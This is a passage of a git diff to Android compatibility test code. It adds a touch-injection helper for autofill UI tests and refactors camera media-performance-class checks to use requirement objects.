@NonNull FillEventHistory.Event event,
- @Nullable String datasetId, @NonNull String key, @NonNull String value) {
+ @Nullable String datasetId, @NonNull String key, @NonNull String value, int uiType) {
assertFillEvent(event, TYPE_AUTHENTICATION_SELECTED, datasetId, key, value, null);
+ assertFillEventPresentationType(event, uiType);
}
public static void assertFillEventForFieldsClassification(@NonNull FillEventHistory.Event event,
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/UiBot.java
index 73639c0..50ef382 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/testcore/UiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/UiBot.java
@@ -52,6 +52,7 @@
import android.service.autofill.SaveInfo;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.BySelector;
+import android.support.test.uiautomator.Configurator;
import android.support.test.uiautomator.Direction;
import android.support.test.uiautomator.SearchCondition;
import android.support.test.uiautomator.StaleObjectException;
@@ -65,6 +66,8 @@
import android.text.Spanned;
import android.text.style.URLSpan;
import android.util.Log;
+import android.view.InputDevice;
+import android.view.MotionEvent;
import android.view.View;
import android.view.WindowInsets;
import android.view.accessibility.AccessibilityEvent;
@@ -1277,20 +1280,6 @@
}
/**
- * Selects a view by id via UiDevice.
- *
- * Note: This used to avoid IME issue that some case IME will be not shown via
- * UiObject2.click().
- */
- public UiObject2 selectByRelativeIdFromUiDevice(String id) throws Exception {
- Log.v(TAG, "selectByRelativeIdFromDevice(): " + id);
- final UiObject2 object = waitForObject(By.res(mPackageName, id));
- final Point p = object.getVisibleCenter();
- mDevice.click(p.x, p.y);
- return object;
- }
-
- /**
* Asserts the header in the fill dialog.
*/
public void assertFillDialogHeader(String expectedHeader) throws Exception {
@@ -1374,7 +1363,7 @@
public void touchOutsideDialog() throws Exception {
Log.v(TAG, "touchOutsideDialog()");
final UiObject2 picker = findFillDialogPicker();
- mDevice.click(1, picker.getVisibleBounds().top / 2);
+ assertThat(injectClick(new Point(1, picker.getVisibleBounds().top / 2))).isTrue();
}
/**
@@ -1383,7 +1372,7 @@
public void touchOutsideSaveDialog() throws Exception {
Log.v(TAG, "touchOutsideSaveDialog()");
final UiObject2 picker = waitForObject(SAVE_UI_SELECTOR, SAVE_TIMEOUT);
- mDevice.click(1, picker.getVisibleBounds().top / 2);
+ assertThat(injectClick(new Point(1, picker.getVisibleBounds().top / 2))).isTrue();
}
/**
@@ -1415,4 +1404,44 @@
public void assertNoFillDialog() throws Exception {
assertNeverShown("Fill dialog", FILL_DIALOG_SELECTOR, DATASET_PICKER_NOT_SHOWN_NAPTIME_MS);
}
+
+ /**
+ * Injects a click input event at the given point in the default display.
+ * We have this method because {@link UiObject2#click) cannot touch outside the object, and
+ * {@link UiDevice#click} is broken in multi windowing mode (b/238254060).
+ */
+ private boolean injectClick(Point p) {
+ final long downTime = SystemClock.uptimeMillis();
+ final MotionEvent downEvent = getMotionEvent(downTime, downTime, MotionEvent.ACTION_DOWN,
+ p);
+ if (!mAutoman.injectInputEvent(downEvent, true)) {
+ Log.e(TAG, "Failed to inject down event.");
+ return false;
+ }
+
+ try {
+ Thread.sleep(100);
+ } catch (InterruptedException e) {
+ Log.e(TAG, "Interrupted while sleep between click", e);
+ }
+
+ final MotionEvent upEvent = getMotionEvent(downTime, SystemClock.uptimeMillis(),
+ MotionEvent.ACTION_UP, p);
+ return mAutoman.injectInputEvent(upEvent, true);
+ }
+
+ private static MotionEvent getMotionEvent(long downTime, long eventTime, int action, Point p) {
+ final MotionEvent.PointerProperties properties = new MotionEvent.PointerProperties();
+ properties.id = 0;
+ properties.toolType = Configurator.getInstance().getToolType();
+ final MotionEvent.PointerCoords coords = new MotionEvent.PointerCoords();
+ coords.pressure = 1.0F;
+ coords.size = 1.0F;
+ coords.x = p.x;
+ coords.y = p.y;
+ return MotionEvent.obtain(downTime, eventTime, action, 1,
+ new MotionEvent.PointerProperties[]{properties},
+ new MotionEvent.PointerCoords[]{coords}, 0, 0, 1.0F, 1.0F, 0, 0,
+ InputDevice.SOURCE_TOUCHSCREEN, 0);
+ }
}
diff --git a/tests/camera/Android.bp b/tests/camera/Android.bp
index aae58c6..c2334fc 100644
--- a/tests/camera/Android.bp
+++ b/tests/camera/Android.bp
@@ -65,6 +65,7 @@
"truth-prebuilt",
"androidx.heifwriter_heifwriter",
"androidx.test.rules",
+ "MediaPerformanceClassCommon",
],
jni_libs: [
"libctscamera2_jni",
diff --git a/tests/camera/api31test/src/android/camera/cts/api31test/SPerfClassTest.java b/tests/camera/api31test/src/android/camera/cts/api31test/SPerfClassTest.java
index feb5567..772e7a5 100644
--- a/tests/camera/api31test/src/android/camera/cts/api31test/SPerfClassTest.java
+++ b/tests/camera/api31test/src/android/camera/cts/api31test/SPerfClassTest.java
@@ -36,6 +36,7 @@
import android.hardware.camera2.TotalCaptureResult;
import android.media.Image;
import android.media.ImageReader;
+import android.os.Build;
import android.os.Handler;
import android.os.HandlerThread;
import android.test.AndroidTestCase;
@@ -210,8 +211,9 @@
* Version.MEDIA_PERFORMANCE_CLASS
*/
public void testSPerfClassJpegSizes() throws Exception {
- boolean isSPerfClass = CameraTestUtils.isSPerfClass();
- if (!isSPerfClass) {
+ final boolean isAtLeastSPerfClass =
+ (Build.VERSION.MEDIA_PERFORMANCE_CLASS >= Build.VERSION_CODES.S);
+ if (!isAtLeastSPerfClass) {
return;
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
index 9e8f436..e5d067c 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
@@ -55,6 +55,10 @@
import android.hardware.camera2.params.RecommendedStreamConfigurationMap;
import android.hardware.camera2.params.StreamConfigurationMap;
import android.hardware.cts.helpers.CameraUtils;
+import android.mediapc.cts.common.Requirement;
+import android.mediapc.cts.common.RequiredMeasurement;
+import android.mediapc.cts.common.RequirementConstants;
+import android.mediapc.cts.common.PerformanceClassEvaluator;
import android.media.CamcorderProfile;
import android.media.ImageReader;
import android.os.Build;
@@ -74,15 +78,11 @@
import androidx.test.rule.ActivityTestRule;
-import androidx.test.InstrumentationRegistry;
-
import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
import org.junit.Rule;
import org.junit.Test;
+import org.junit.rules.TestName;
import org.junit.runner.RunWith;
import org.junit.runners.Parameterized;
@@ -92,12 +92,10 @@
import java.util.List;
import java.util.Objects;
import java.util.Set;
+import java.util.function.BiPredicate;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
-import static android.hardware.camera2.cts.CameraTestUtils.MPC_REPORT_LOG_NAME;
-import static android.hardware.camera2.cts.CameraTestUtils.MPC_STREAM_NAME;
-
/**
* Extended tests for static camera characteristics.
*/
@@ -113,6 +111,9 @@
*/
private static final int MIN_ALLOWABLE_WHITELEVEL = 32; // must have sensor bit depth > 5
+ @Rule
+ public final TestName mTestName = new TestName();
+
private List<CameraCharacteristics> mCharacteristics;
private static final Size FULLHD = new Size(1920, 1080);
@@ -131,10 +132,6 @@
private static final long PREVIEW_RUN_MS = 500;
private static final long FRAME_DURATION_30FPS_NSEC = (long) 1e9 / 30;
- private static final long MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION = 12000000;
- private static final long MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION = 5000000;
- private static final long MIN_FRONT_SENSOR_R_PERF_CLASS_RESOLUTION = 4000000;
-
/*
* HW Levels short hand
*/
@@ -2316,6 +2313,17 @@
// Sanitize the high speed FPS ranges for each size
List<Range<Integer>> ranges =
Arrays.asList(config.getHighSpeedVideoFpsRangesFor(size));
+ int previewFps = Integer.MAX_VALUE;
+ for (Range<Integer> range : ranges) {
+ int rangeMin = range.getLower();
+ if (previewFps > rangeMin) {
+ previewFps = rangeMin;
+ }
+ }
+ Log.v(TAG, "Advertised preview fps is: " + previewFps);
+ // We only support preview of 30fps or 60fps.
+ assertTrue("Preview fps " + previewFps + " is not valid.",
+ (previewFps == 30 || previewFps == 60));
for (Range<Integer> range : ranges) {
assertTrue("The range " + range + " doesn't satisfy the"
+ " min/max boundary requirements.",
@@ -2324,10 +2332,12 @@
assertTrue("The range " + range + " should be multiple of 30fps",
range.getLower() % 30 == 0 && range.getUpper() % 30 == 0);
// If the range is fixed high speed range, it should contain the
- // [30, fps_max] in the high speed range list; if it's variable FPS range,
- // the corresponding fixed FPS Range must be included in the range list.
+ // [previewFps, fps_max] in the high speed range list; if it's variable FPS
+ // range, the corresponding fixed FPS Range must be included in the range
+ // list.
if (range.getLower() == range.getUpper()) {
- Range<Integer> variableRange = new Range<Integer>(30, range.getUpper());
+ Range<Integer> variableRange = new Range<Integer>(previewFps,
+ range.getUpper());
assertTrue("The variable FPS range " + variableRange +
" shoould be included in the high speed ranges for size " +
size, ranges.contains(variableRange));
@@ -2808,28 +2818,70 @@
}
/**
- * Update performance class level based on condition
- *
- * @param condition whether the condition is met for passLevel
- * @param passLevel the highest performance class level when condition is true
- * @param failLevel the performance class when condition is false
+ * Camera hardware level requirement for Media Performance Class
*/
- private int updatePerfClassLevel(boolean condition, int passLevel, int failLevel) {
- return condition ? passLevel : failLevel;
- }
+ public static class PrimaryCameraHwLevelReq extends Requirement {
+ private static final String TAG = PrimaryCameraHwLevelReq.class.getSimpleName();
- /**
- * Update perf class level based on meetSPerfClass and meetRPerfClass.
- */
- private int updatePerfClassLevelRS(boolean meetSPerfClass, boolean meetRPerfClass,
- int perfClassLevel) {
- if (!meetRPerfClass) {
- return CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
- } else if (!meetSPerfClass &&
- perfClassLevel > CameraTestUtils.PERFORMANCE_CLASS_R) {
- return Math.min(CameraTestUtils.PERFORMANCE_CLASS_R, perfClassLevel);
+ /**
+ * Creates a >= predicate for camera hardware level
+ */
+ private static BiPredicate<Integer, Integer> camHwLevelGte() {
+ return new BiPredicate<Integer, Integer>() {
+ @Override
+ public boolean test(Integer actual, Integer expected) {
+ return StaticMetadata.hardwareLevelPredicate(actual, expected);
+ }
+
+ @Override
+ public String toString() {
+ return "Camera Hardware Level Greater than or equal to";
+ }
+ };
}
- return perfClassLevel;
+ private static final BiPredicate<Integer, Integer> CAM_HW_LEVEL_GTE = camHwLevelGte();
+ private PrimaryCameraHwLevelReq(String id, RequiredMeasurement<?> ... reqs) {
+ super(id, reqs);
+ }
+
+ public void setPrimaryRearCameraHwlLevel(Integer hwLevel) {
+ this.setMeasuredValue(RequirementConstants.REAR_CAMERA_HWL_LEVEL, hwLevel);
+ }
+
+ public void setPrimaryFrontCameraHwlLevel(Integer hwLevel) {
+ this.setMeasuredValue(RequirementConstants.FRONT_CAMERA_HWL_LEVEL, hwLevel);
+ }
+
+ /**
+ * [2.2.7.2/7.5/H-1-3] MUST support android.info.supportedHardwareLevel property as FULL or
+ * better for back primary and LIMITED or better for front primary camera.
+ */
+ public static PrimaryCameraHwLevelReq createPrimaryCameraHwLevelReq() {
+ RequiredMeasurement<Integer> rearCameraHwlLevel = RequiredMeasurement
+ .<Integer>builder()
+ .setId(RequirementConstants.REAR_CAMERA_HWL_LEVEL)
+ .setPredicate(CAM_HW_LEVEL_GTE)
+ .addRequiredValue(Build.VERSION_CODES.R,
+ CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_FULL)
+ .addRequiredValue(Build.VERSION_CODES.S,
+ CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_FULL)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU,
+ CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_FULL)
+ .build();
+ RequiredMeasurement<Integer> frontCameraHwlLevel = RequiredMeasurement
+ .<Integer>builder()
+ .setId(RequirementConstants.FRONT_CAMERA_HWL_LEVEL)
+ .setPredicate(CAM_HW_LEVEL_GTE)
+ .addRequiredValue(Build.VERSION_CODES.R,
+ CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_LIMITED)
+ .addRequiredValue(Build.VERSION_CODES.S,
+ CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_FULL)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU,
+ CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_FULL)
+ .build();
+ return new PrimaryCameraHwLevelReq(RequirementConstants.R7_5__H_1_3,
+ rearCameraHwlLevel, frontCameraHwlLevel);
+ }
}
/**
@@ -2837,34 +2889,47 @@
* in CDD camera section 7.5
*/
@Test
- @CddTest(requirement = "7.5/H-1-1,H-1-2,H-1-3,H-1-4,H-1-8,H-1-9,H-1-10,H-1-11,H-1-12,H-1-13,H-1-14")
+ @CddTest(requirements = {
+ "2.2.7.2/7.5/H-1-1",
+ "2.2.7.2/7.5/H-1-2",
+ "2.2.7.2/7.5/H-1-3",
+ "2.2.7.2/7.5/H-1-4",
+ "2.2.7.2/7.5/H-1-8",
+ "2.2.7.2/7.5/H-1-9",
+ "2.2.7.2/7.5/H-1-10",
+ "2.2.7.2/7.5/H-1-11",
+ "2.2.7.2/7.5/H-1-12",
+ "2.2.7.2/7.5/H-1-13",
+ "2.2.7.2/7.5/H-1-14"})
public void testCameraPerfClassCharacteristics() throws Exception {
if (mAdoptShellPerm) {
// Skip test for system camera. Performance class is only applicable for public camera
// ids.
return;
}
- boolean assertRPerfClass = CameraTestUtils.isRPerfClass();
- boolean assertSPerfClass = CameraTestUtils.isSPerfClass();
- boolean assertTPerfClass = CameraTestUtils.isTPerfClass();
- boolean assertPerfClass = (assertRPerfClass || assertSPerfClass || assertTPerfClass);
-
- // R & S Performance Class
- int perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
- int perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
- int perfClassLevelH13 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
- int perfClassLevelH14 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
- int perfClassLevelH18 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
-
- // T Performance Class
- int perfClassLevelH19 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
- int perfClassLevelH110 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
- int perfClassLevelH111 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
- int perfClassLevelH112 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
- int perfClassLevelH113 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
- int perfClassLevelH114 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
-
- DeviceReportLog reportLog = new DeviceReportLog(MPC_REPORT_LOG_NAME, MPC_STREAM_NAME);
+ PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+ PerformanceClassEvaluator.PrimaryCameraRequirement primaryRearReq =
+ pce.addPrimaryRearCameraReq();
+ PerformanceClassEvaluator.PrimaryCameraRequirement primaryFrontReq =
+ pce.addPrimaryFrontCameraReq();
+ PrimaryCameraHwLevelReq hwLevelReq = pce.addRequirement(
+ PrimaryCameraHwLevelReq.createPrimaryCameraHwLevelReq());
+ PerformanceClassEvaluator.CameraTimestampSourceRequirement timestampSourceReq =
+ pce.addR7_5__H_1_4();
+ PerformanceClassEvaluator.CameraRawRequirement rearRawReq =
+ pce.addR7_5__H_1_8();
+ PerformanceClassEvaluator.Camera240FpsRequirement hfrReq =
+ pce.addR7_5__H_1_9();
+ PerformanceClassEvaluator.UltraWideZoomRatioRequirement ultrawideZoomRatioReq =
+ pce.addR7_5__H_1_10();
+ PerformanceClassEvaluator.ConcurrentRearFrontRequirement concurrentRearFrontReq =
+ pce.addR7_5__H_1_11();
+ PerformanceClassEvaluator.PreviewStabilizationRequirement previewStabilizationReq =
+ pce.addR7_5__H_1_12();
+ PerformanceClassEvaluator.LogicalMultiCameraRequirement logicalMultiCameraReq =
+ pce.addR7_5__H_1_13();
+ PerformanceClassEvaluator.StreamUseCaseRequirement streamUseCaseReq =
+ pce.addR7_5__H_1_14();
String primaryRearId = null;
String primaryFrontId = null;
@@ -2891,42 +2956,29 @@
List<Size> videoSizes = CameraTestUtils.getSupportedVideoSizes(cameraId,
mCameraManager, null /*bound*/);
+ Integer timestampSource = c.get(CameraCharacteristics.SENSOR_INFO_TIMESTAMP_SOURCE);
if (isPrimaryRear) {
primaryRearId = cameraId;
- if (sensorResolution < MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION) {
- mCollector.expectTrue("Primary rear camera resolution should be at least " +
- MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION + " pixels, is "+
- sensorResolution, !assertPerfClass);
- perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
- }
- reportLog.addValue("rear camera resolution", sensorResolution,
- ResultType.NEUTRAL, ResultUnit.NONE);
+ primaryRearReq.setPrimaryCameraSupported(true);
+ primaryRearReq.setResolution(sensorResolution);
+ hwLevelReq.setPrimaryRearCameraHwlLevel(staticInfo.getHardwareLevelChecked());
+ timestampSourceReq.setRearCameraTimestampSource(timestampSource);
// 4K @ 30fps
boolean supportUHD = videoSizes.contains(UHD);
boolean supportDC4K = videoSizes.contains(DC4K);
- reportLog.addValue("rear camera 4k support", supportUHD | supportDC4K,
- ResultType.NEUTRAL, ResultUnit.NONE);
- if (!supportUHD && !supportDC4K) {
- mCollector.expectTrue("Primary rear camera should support 4k video recording",
- !assertPerfClass);
- perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
- } else {
+ boolean support4K = (supportUHD || supportDC4K);
+ primaryRearReq.setVideoSizeReqSatisfied(support4K);
+ if (support4K) {
long minFrameDuration = config.getOutputMinFrameDuration(
android.media.MediaRecorder.class, supportDC4K ? DC4K : UHD);
- reportLog.addValue("rear camera 4k frame duration", minFrameDuration,
- ResultType.NEUTRAL, ResultUnit.NONE);
- if (minFrameDuration >= (1e9 / 29.9)) {
- mCollector.expectTrue("Primary rear camera should support 4k video @ 30fps",
- !assertPerfClass);
- perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
- }
+ primaryRearReq.setVideoFps(1e9 / minFrameDuration);
+ } else {
+ primaryRearReq.setVideoFps(-1);
}
// H-1-9
boolean supportHighSpeed = staticInfo.isCapabilitySupported(CONSTRAINED_HIGH_SPEED);
- mCollector.expectTrue("Primary rear camera should support high speed recording",
- !assertTPerfClass || supportHighSpeed);
boolean support240Fps = false;
if (supportHighSpeed) {
Size[] availableHighSpeedSizes = config.getHighSpeedVideoSizes();
@@ -2946,101 +2998,31 @@
break;
}
}
- mCollector.expectTrue("Primary rear camera should support HD or FULLHD @ 240",
- !assertTPerfClass || support240Fps);
}
- perfClassLevelH19 = updatePerfClassLevel(support240Fps,
- perfClassLevelH19, CameraTestUtils.PERFORMANCE_CLASS_S);
- reportLog.addValue("rear camera 720p/1080p @ 240fps support", support240Fps,
- ResultType.NEUTRAL, ResultUnit.NONE);
+ hfrReq.setRear240FpsSupported(support240Fps);
} else {
primaryFrontId = cameraId;
- if (sensorResolution < MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION) {
- mCollector.expectTrue("Primary front camera resolution should be at least "
- + MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION + " pixels, is "
- + sensorResolution, !(assertSPerfClass || assertTPerfClass));
- perfClassLevelH12 = Math.min(
- perfClassLevelH12, CameraTestUtils.PERFORMANCE_CLASS_R);
- }
- if (sensorResolution < MIN_FRONT_SENSOR_R_PERF_CLASS_RESOLUTION) {
- mCollector.expectTrue("Primary front camera resolution should be at least " +
- MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION + " pixels, is "+
- sensorResolution, !assertRPerfClass);
- perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
- }
- reportLog.addValue("front camera resolution", sensorResolution,
- ResultType.NEUTRAL, ResultUnit.NONE);
+ primaryFrontReq.setPrimaryCameraSupported(true);
+ primaryFrontReq.setResolution(sensorResolution);
+ hwLevelReq.setPrimaryFrontCameraHwlLevel(staticInfo.getHardwareLevelChecked());
+ timestampSourceReq.setFrontCameraTimestampSource(timestampSource);
// 1080P @ 30fps
boolean supportFULLHD = videoSizes.contains(FULLHD);
- reportLog.addValue("front camera 1080p support", supportFULLHD,
- ResultType.NEUTRAL, ResultUnit.NONE);
- if (!supportFULLHD) {
- mCollector.expectTrue(
- "Primary front camera should support 1080P video recording",
- !assertPerfClass);
- perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
- } else {
+ primaryFrontReq.setVideoSizeReqSatisfied(supportFULLHD);
+ if (supportFULLHD) {
long minFrameDuration = config.getOutputMinFrameDuration(
android.media.MediaRecorder.class, FULLHD);
- if (minFrameDuration >= (1e9 / 29.9)) {
- mCollector.expectTrue(
- "Primary front camera should support 1080P video @ 30fps",
- !assertPerfClass);
- perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
- }
- reportLog.addValue("front camera 1080p frame duration", minFrameDuration,
- ResultType.NEUTRAL, ResultUnit.NONE);
+ primaryFrontReq.setVideoFps(1e9 / minFrameDuration);
+ } else {
+ primaryFrontReq.setVideoFps(-1);
}
}
- String facingString = isPrimaryRear ? "rear" : "front";
- // H-1-3
- if (assertTPerfClass || assertSPerfClass || (assertRPerfClass && isPrimaryRear)) {
- mCollector.expectTrue("Primary " + facingString +
- " camera should be at least FULL, but is " +
- toStringHardwareLevel(staticInfo.getHardwareLevelChecked()),
- staticInfo.isHardwareLevelAtLeastFull());
- } else if (assertRPerfClass) {
- mCollector.expectTrue("Primary " + facingString +
- " camera should be at least LIMITED, but is " +
- toStringHardwareLevel(staticInfo.getHardwareLevelChecked()),
- staticInfo.isHardwareLevelAtLeastLimited());
- }
-
- reportLog.addValue(facingString + " camera hardware level",
- staticInfo.getHardwareLevelChecked(), ResultType.NEUTRAL, ResultUnit.NONE);
- if (isPrimaryRear) {
- perfClassLevelH13 = updatePerfClassLevel(staticInfo.isHardwareLevelAtLeastFull(),
- perfClassLevelH13, CameraTestUtils.PERFORMANCE_CLASS_NOT_MET);
- } else {
- perfClassLevelH13 = updatePerfClassLevelRS(staticInfo.isHardwareLevelAtLeastFull(),
- staticInfo.isHardwareLevelAtLeastLimited(), perfClassLevelH13);
- }
-
- // H-1-4
- Integer timestampSource = c.get(CameraCharacteristics.SENSOR_INFO_TIMESTAMP_SOURCE);
- reportLog.addValue(facingString + " timestampSource",
- timestampSource, ResultType.NEUTRAL, ResultUnit.NONE);
- boolean realtimeTimestamp = (timestampSource != null &&
- timestampSource.equals(CameraMetadata.SENSOR_INFO_TIMESTAMP_SOURCE_REALTIME));
- mCollector.expectTrue(
- "Primary " + facingString + " camera should support real-time timestamp source",
- !assertPerfClass || realtimeTimestamp);
- perfClassLevelH14 = updatePerfClassLevel(realtimeTimestamp, perfClassLevelH14,
- CameraTestUtils.PERFORMANCE_CLASS_NOT_MET);
-
// H-1-8
if (isPrimaryRear) {
boolean supportRaw = staticInfo.isCapabilitySupported(RAW);
- reportLog.addValue(facingString + " camera raw support",
- supportRaw, ResultType.NEUTRAL, ResultUnit.NONE);
- if (assertSPerfClass || assertTPerfClass) {
- mCollector.expectTrue("Primary rear camera should support RAW capability",
- supportRaw);
- }
- perfClassLevelH18 = updatePerfClassLevel(supportRaw, perfClassLevelH18,
- CameraTestUtils.PERFORMANCE_CLASS_R);
+ rearRawReq.setRearRawSupported(supportRaw);
}
// H-1-10
@@ -3049,96 +3031,76 @@
Range<Float> zoomRatioRange = staticInfo.getZoomRatioRangeChecked();
boolean meetH110 = (primaryToMaxFovRatio >= 1.0f - FOV_THRESHOLD)
|| (zoomRatioRange.getLower() < 1.0f - FOV_THRESHOLD);
- mCollector.expectTrue("Primary " + facingString + " camera must support zoomRatio < "
- + "1.0f if there is an ultrawide lens with the same facing",
- !assertTPerfClass || meetH110);
- perfClassLevelH110 = updatePerfClassLevel(meetH110, perfClassLevelH110,
- CameraTestUtils.PERFORMANCE_CLASS_S);
- reportLog.addValue(facingString + " camera supports maximum FOV using zoom ratio",
- meetH110, ResultType.NEUTRAL, ResultUnit.NONE);
+ if (isPrimaryRear) {
+ ultrawideZoomRatioReq.setRearUltraWideZoomRatioReqMet(meetH110);
+ } else {
+ ultrawideZoomRatioReq.setFrontUltraWideZoomRatioReqMet(meetH110);
+ }
// H-1-12
- boolean meetH112 = staticInfo.isPreviewStabilizationSupported();
- mCollector.expectTrue("Primary " + facingString + " camera must support preview "
- + "stabilization", !assertTPerfClass || meetH112);
- perfClassLevelH112 = updatePerfClassLevel(meetH112, perfClassLevelH112,
- CameraTestUtils.PERFORMANCE_CLASS_S);
- reportLog.addValue(facingString + " camera preview stabilization", meetH112,
- ResultType.NEUTRAL, ResultUnit.NONE);
+ boolean previewStab = staticInfo.isPreviewStabilizationSupported();
+ if (isPrimaryRear) {
+ previewStabilizationReq.setRearPreviewStabilizationSupported(previewStab);
+ } else {
+ previewStabilizationReq.setFrontPreviewStabilizationSupported(previewStab);
+ }
// H-1-13
int facing = staticInfo.getLensFacingChecked();
int numOfPhysicalRgbCameras = getNumberOfRgbPhysicalCameras(facing);
- boolean meetH113 = (numOfPhysicalRgbCameras <= 1) || staticInfo.isLogicalMultiCamera();
- mCollector.expectTrue("Primary " + facingString + " camera must be LOGICAL_MULTI_CAMERA"
- + " in case of multiple RGB cameras with same facing",
- !assertTPerfClass || meetH113);
- perfClassLevelH113 = updatePerfClassLevel(meetH113, perfClassLevelH113,
- CameraTestUtils.PERFORMANCE_CLASS_S);
- reportLog.addValue(facingString + " camera is LOGICAL_MULTI_CAMERA in case of multiple "
- + "RGB cameras with same facing", meetH113, ResultType.NEUTRAL,
- ResultUnit.NONE);
+ boolean logicalMultiCameraReqMet =
+ (numOfPhysicalRgbCameras <= 1) || staticInfo.isLogicalMultiCamera();
+ if (isPrimaryRear) {
+ logicalMultiCameraReq.setRearLogicalMultiCameraReqMet(logicalMultiCameraReqMet);
+ } else {
+ logicalMultiCameraReq.setFrontLogicalMultiCameraReqMet(logicalMultiCameraReqMet);
+ }
// H-1-14
- boolean meetH114 = staticInfo.isStreamUseCaseSupported();
- mCollector.expectTrue("Primary " + facingString + " camera must support stream "
- + "use case", !assertTPerfClass || meetH114);
- perfClassLevelH114 = updatePerfClassLevel(meetH114, perfClassLevelH114,
- CameraTestUtils.PERFORMANCE_CLASS_S);
- reportLog.addValue(facingString + " camera stream use case", meetH114,
- ResultType.NEUTRAL, ResultUnit.NONE);
+ boolean streamUseCaseSupported = staticInfo.isStreamUseCaseSupported();
+ if (isPrimaryRear) {
+ streamUseCaseReq.setRearStreamUseCaseSupported(streamUseCaseSupported);
+ } else {
+ streamUseCaseReq.setFrontStreamUseCaseSupported(streamUseCaseSupported);
+ }
}
- HashSet<String> primaryCameras = new HashSet<String>();
+
if (primaryRearId == null) {
- mCollector.expectTrue("There must be a primary rear camera for performance class.",
- !assertPerfClass);
- perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
- } else {
- primaryCameras.add(primaryRearId);
+ primaryRearReq.setPrimaryCameraSupported(false);
+ primaryRearReq.setResolution(-1);
+ primaryRearReq.setVideoSizeReqSatisfied(false);
+ primaryRearReq.setVideoFps(-1);
+ hwLevelReq.setPrimaryRearCameraHwlLevel(-1);
+ timestampSourceReq.setRearCameraTimestampSource(
+ CameraMetadata.SENSOR_INFO_TIMESTAMP_SOURCE_UNKNOWN);
+ rearRawReq.setRearRawSupported(false);
+ hfrReq.setRear240FpsSupported(false);
+ ultrawideZoomRatioReq.setRearUltraWideZoomRatioReqMet(false);
+ previewStabilizationReq.setRearPreviewStabilizationSupported(false);
+ logicalMultiCameraReq.setRearLogicalMultiCameraReqMet(false);
+ streamUseCaseReq.setRearStreamUseCaseSupported(false);
}
if (primaryFrontId == null) {
- mCollector.expectTrue("There must be a primary front camera for performance class.",
- !assertPerfClass);
- perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET;
- } else {
- primaryCameras.add(primaryFrontId);
+ primaryFrontReq.setPrimaryCameraSupported(false);
+ primaryFrontReq.setResolution(-1);
+ primaryFrontReq.setVideoSizeReqSatisfied(false);
+ primaryFrontReq.setVideoFps(-1);
+ hwLevelReq.setPrimaryFrontCameraHwlLevel(-1);
+ timestampSourceReq.setFrontCameraTimestampSource(
+ CameraMetadata.SENSOR_INFO_TIMESTAMP_SOURCE_UNKNOWN);
+ ultrawideZoomRatioReq.setFrontUltraWideZoomRatioReqMet(false);
+ previewStabilizationReq.setFrontPreviewStabilizationSupported(false);
+ logicalMultiCameraReq.setFrontLogicalMultiCameraReqMet(false);
+ streamUseCaseReq.setFrontStreamUseCaseSupported(false);
}
// H-1-11
Set<Set<String>> concurrentCameraIds = mCameraManager.getConcurrentCameraIds();
+ Set<String> primaryCameras = new HashSet<>(Arrays.asList(primaryRearId, primaryFrontId));
boolean supportPrimaryFrontBack = concurrentCameraIds.contains(primaryCameras);
- mCollector.expectTrue("Concurrent primary front and primary back streaming must be "
- + "supported", !assertTPerfClass || supportPrimaryFrontBack);
- perfClassLevelH111 = updatePerfClassLevel(supportPrimaryFrontBack,
- perfClassLevelH111, CameraTestUtils.PERFORMANCE_CLASS_S);
- reportLog.addValue("concurrent front back support", supportPrimaryFrontBack,
- ResultType.NEUTRAL, ResultUnit.NONE);
